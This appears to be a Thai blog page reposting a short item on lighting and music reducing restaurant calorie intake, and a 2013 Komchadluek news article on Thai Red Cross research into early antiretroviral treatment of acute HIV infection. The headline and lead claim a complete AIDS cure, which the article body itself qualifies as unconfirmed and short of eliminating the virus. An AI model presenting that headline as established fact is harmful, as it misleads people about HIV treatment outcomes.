ในการศึกษานี้ นักวิจัยตกแต่งร้านอาหารตามเงื่อนไขเรื่องแสงและเพลง และพบว่าผู้เข้าร่วมทดลองรับประทานมื้อเย็นในจำนวนน้อยกว่า 175 แคลอรี่ ผลลัพธ์ออกมาถือว่าไม่แย่สำหรับการทดลองครั้งแรก แต่ว่าถ้าคุณกินอาหารนอกบ้านบ่อยๆ มันอาจจะเพิ่มขึ้นก็ได้นะ

นักวิทยาศาสตร์อธิบายเรื่องนี้ว่า แสงไฟสลัวๆ และเสียงเพลงที่ผ่อนคลาย ช่วยให้คุณรู้สึกสบายและทำให้การกินของคุณใช้เวลามากขึ้น และเมื่อคุณกินช้าลง คุณจะรู้สึกอิ่มเร็วขึ้น นั่นทำให้คุณกินน้อยกว่าปกติ

แน่นอนว่าผลวิจัยนี้พูดถึงเฉพาะกรณีกินที่ร้านอาหาร แต่ถ้าเป็นการนำไปประยุกต์ที่บ้าน จะเลือกเปิดดนตรีไทยหรือปิดไฟให้หมดบ้านเลยก็ได้นะ คุณจะยิ่งรู้สึกเพลิดเพลินกับมื้ออาหาร แล้วก็กินน้อยลง


INFO: Cosmopolitan.com

วันเสาร์ที่ 16 มีนาคม พ.ศ. 2556

แพทย์ไทยสุดเจ๋งรักษา'เอดส์'หายขาด


ทั่วโลกตะลึงแพทย์ไทยโชว์ผลงานวิจัยเด็ดรักษา"เอดส์"หายขาดหากตรวจDNAหลังมีเซ็กส์เสี่ยงไม่เกิน 1 อาทิตย์ ยันกินยาติดต่อกันไม่เกิน 5 ปี ควบคุมเชื้อได้ทันที

          ภายหลังการประชุมแพทย์และนักวิจัยเกี่ยวกับโรคเอดส์และโรคติดเชื้อฉวยโอกาสระดับโลก หรือ "CROI 2013" (The Conference on Retroviruses and Opportunistic Infections) ณ เมืองแอตแลนตา รัฐจอร์เจีย สหรัฐอเมริกา เมื่อวันที่ 3-6 มีนาคม ที่ผ่านมา มีกระแสข่าวว่า นักวิจัยจากประเทศไทยได้เผยแพร่ผลงานสร้างความฮือฮาให้แก่สมาชิกในที่ประชุมเป็นอย่างมาก เนื่องจากเป็นงานวิจัยเกี่ยวกับการรักษาผู้ติดเชื้อเอชไอวีในระยะแรกให้มีโอกาสหายขาดได้

          ศ.นพ.ประพันธ์ ภานุภาค ผอ.ศูนย์วิจัยโรคเอดส์ สภากาชาดไทย ให้ข้อมูลว่า การประชุมครั้งนี้มีการเสนองานวิจัยใหม่ๆ จากทั่วโลก แต่ที่ได้รับความสนใจมีผู้สอบถามข้อมูลมากสุด คือ งานวิจัยของแพทย์หญิงไทยเกี่ยวกับการทดลองกับอาสาสมัครของคลินิกนิรนาม ที่มาตรวจเชื้อเอชไอวีแล้วพบในระยะเริ่มแรกไม่เกิน 1 อาทิตย์ หลังจากรับเชื้อแล้วให้กินยาสูตรเบื้องต้นทันที หลังเฝ้าติดตามผลปรากฏว่าแทบจะไม่พบเชื้อหลงเหลืออยู่ในร่างกายหรือพบบางส่วนที่น้อยมาก ทำให้แพทย์ทั่วโลกอยากได้ข้อมูลเรื่องนี้เพิ่มเติม ถือเป็นงานวิจัยเรื่องเอดส์ของไทยที่มีชื่อเสียงในระดับโลก หากในอนาคตสามารถยืนยันการรักษาเอดส์ได้หายขาดจริง ถือว่าเป็นนิมิตหมายอันดีของผู้ติดเชื้อเอดส์รายใหม่

          "เงื่อนไขสำคัญคือ คนที่จะรักษาหายได้ หมายถึงต้องเริ่มกินยาตั้งแต่ติดเชื้อมาใหม่ๆ เพราะเชื้อเอชไอวียังไม่แพร่กระจายออกไป แต่ก่อนแพทย์มีความเชื่อว่าต้องให้ภูมิคุ้มกันลดลง จึงจะให้เริ่มกินยา แต่งานวิจัยนี้แสดงให้เห็นว่า หากผู้ใดสงสัยว่าไปมีเซ็กส์เสี่ยงหรืออาจได้รับเชื้อเอดส์เข้าร่างกายด้วยวิธีใดๆ ก็ตาม ให้รีบมาตรวจ ถ้าพบเร็วแล้วให้กินยาทันทีจะมีโอกาสรักษาหายได้มากกว่า คำว่ารักษาหายหมายถึงร่างกายควบคุมไม่ให้เชื้อเอชไอวีทำลายภูมิคุ้มกันในร่างกายได้เองโดยไม่ต้องกินยาทุกวันทั้งชีวิตเหมือนผู้ป่วยเอดส์ทั่วไป แต่ไม่ได้หมายความว่าจะกำจัดเชื้อออกจากร่างกายได้หมดสิ้น 100 เปอร์เซ็นต์ อยากขอร้องให้ผู้มีพฤติกรรมเสี่ยงรีบมาตรวจหาเชื้อทันทีที่สงสัยหรือรู้ตัวแล้ว อย่าปล่อยไว้นาน เพราะถ้าติดเชื้อนานจะรักษาหายขาดไม่ได้ ขอให้มาตรวจฟรีได้ที่คลินิกนิรนาม" ศ.นพ.ประพันธ์ แนะนำ

          ด้าน รศ.พญ.จินตนาถ อนันต์วรณิชย์ นักวิจัยโรคเอดส์ ศูนย์วิจัยโรคเอดส์สภากาชาดไทย หัวหน้าโครงการวิจัยการรักษาผู้ติดเชื้อเอชไอวีระยะเฉียบพลัน เล่าถึงความเป็นมาว่า ในแต่ละปีมีผู้มาตรวจหาเชื้อเอชไอวีที่คลินิกนิรนามจำนวนมาก โดยใช้วิธีตรวจหาเชื้อในเลือดแบบปกติทั่วไป หรือตรวจแอนติบอดี หรือตรวจหาจากการสร้างภูมิคุ้มกันต่อเชื้อของร่างกาย หมายความว่า ร่างกายต้องใช้ระยะเวลาประมาณ 2 อาทิตย์ขึ้นไปในการตรวจพบเชื้อไวรัส ทำให้การรักษาเริ่มได้ช้า แต่งานวิจัยนี้ใช้ระบบแน็ต (NAT: Nucleic Acid Amplification Testing) เป็นนวัตกรรมใหม่ล่าสุด ปลอดภัยและแม่นยำ เพราะตรวจจากสารพันธุกรรม เพียงแค่สงสัยว่ารับเชื้อเอดส์มา 5 วันขึ้นไปก็ตรวจพบได้แล้ว ใช้เวลาเพียง 1-2 วัน เมื่อรู้ผลเร็วและรีบกินยาทันทีจะช่วยหยุดการแพร่เชื้อไปอวัยวะอื่นๆ ของร่างกาย

          "การวิจัยนี้เริ่มมาตั้งแต่ปี 2552 โชคดีที่อาสาสมัครให้ความร่วมมือเต็มที่ เพราะต้องตัดสินใจเร็วมาก จากวันที่ยืนยันผลแน่ชัดและเริ่มกินยาใช้เวลาไม่เกิน 5 วัน ในปีแรกมีอาสาสมัคร 10 คน ตอนนี้มีอาสาสมัครในงานวิจัย 95 คน เพิ่มขึ้นเรื่อยๆ ซึ่งผลปรากฏว่าหลังกินยาต้านเอชไอวีเต็มสูตรทันทีทุกวันก็ไม่พบเชื้อแอบหลบซ่อนในเลือดหรือในเม็ดเลือดขาว อย่างไรก็ตาม ก็มีตรวจพบในบางคน แต่เป็นจำนวนเชื้อที่น้อยมากๆ คาดว่ากินยาต่อเนื่องไม่เกิน 5 ปี ร่างกายอาจควบคุมเชื้อได้เอง ไม่ต้องกินยาทั้งชีวิตอีกต่อไป ตอนนี้คงต้องคอยดูผลที่แน่ชัดจากอาสาสมัครปีแรก หากหยุดกินยาแล้วเชื้อไม่แพร่กระจายก็ถือว่าประสบความสำเร็จ" รศ.พญ.จินตนาถ กล่าว

          รศ.พญ.จินตนาถ ยอมรับว่า เป็นงานวิจัยที่ทำได้ยาก เนื่องจากต้องหาคนไข้ให้เร็วและให้กินยาทันที ทำให้นักวิจัยในต่างประเทศทำไม่ค่อยได้ เพราะหลายปัจจัย เช่น ต้องมีจำนวนคนติดเชื้อเอชไอวีมากพอ มีเทคโนโลยีสูง ใช้เจ้าหน้าที่วิจัยจำนวนมาก อาสาสมัครมีส่วนสำคัญที่สุด อาสาสมัครไทยมีจิตอาสาในการเข้าร่วมโครงการ ยิ่งไปกว่านั้น การตรวจหาผู้ติดเชื้อเอชไอวีเริ่มต้นที่ร่างกายยังไม่สร้างแอนติบอดีก็ไม่ใช่เรื่องง่ายเช่นกัน แม้แต่คลินิกนิรนามมีผู้มาตรวจ 6 หมื่นคน พบว่าติดเชื้อเอชไอวี 5,000 คน แต่เป็นผู้ติดเชื้อเริ่มแรกแค่ไม่ถึง 100 คน ส่วนใหญ่เป็นกลุ่มชายรักชาย

          เนื่องจากเป็นงานวิจัยที่ต้องใช้เงินทุนจำนวนมาก เงินทุนเริ่มต้นได้มาจากกรมแพทย์ทหารบกสหรัฐ เพื่อให้อาสาสมัครไม่ต้องมีค่าใช้จ่ายด้านยาและการตรวจหาเชื้ออย่างต่อเนื่อง รศ.พญ.จินตนาถจึงตั้งใจว่าจะเขียนเป็นบทความทางวิชาการเพื่อตีพิมพ์เผยแพร่ในวารสารนานาชาติ เมื่องานวิจัยข้างต้นได้เผยแพร่ออกไปทั่วโลก อาจช่วยให้ขอทุนจากแหล่งวิจัยได้ ซึ่งจะทำให้งานวิจัยสามารถพัฒนาต่อไปได้โดยไม่หยุดชะงัก 

          นายบริพัตร ดอนมอญ ตัวแทนเครือข่ายผู้ติดเชื้อเอชไอวี กล่าวว่า รู้สึกดีใจหากค้นพบวิธีรักษาผู้ติดเชื้อรายใหม่โดยไม่ต้องกินยาตลอดชีวิต กว่าสิบปีแล้วที่ต้องกินยาทุกวัน เช่นเดียวกับผู้ป่วยอีกประมาณ 2 แสนคนทั่วประเทศไทย จึงอยากขอร้องให้รัฐบาลช่วยดูแลเรื่องสูตรยาต้านไวรัสด้วย โดยเฉพาะเรื่องสิทธิบัตรยาไม่ควรทำตามเงื่อนไขของกลุ่มประเทศยุโรปที่เป็นตัวแทนบริษัทยายักษ์ใหญ่

          ทั้งนี้ สถิติจากยูเอ็นเอดส์ (UNAIDS) ระบุว่า ปี 2554 พบทั่วโลกมีผู้ติดเชื้อเอชไอวี 34 ล้านคน เป็นผู้ติดเชื้อรายใหม่ 2.5 ล้านคน เฉลี่ยเพิ่มนาทีละ 5 คน ประเทศไทยคาดการณ์ว่า ในปี 2555 มีผู้ติดเชื้อเอดส์ประมาณ 5 แสนราย เป็นผู้ติดเชื้อรายใหม่ปีละ 9,000 คน เฉลี่ยชั่วโมงละ 1 คน และร้อยละ 80 เปอร์เซ็นต์ติดเชื้อจากมีเพศสัมพันธ์โดยไม่ป้องกัน



INFO: http://www.komchadluek.net/detail/20130315/153948/แพทย์ไทยสุดเจ๋งรักษาเอดส์หายขาด.html#.UULsqTf75yU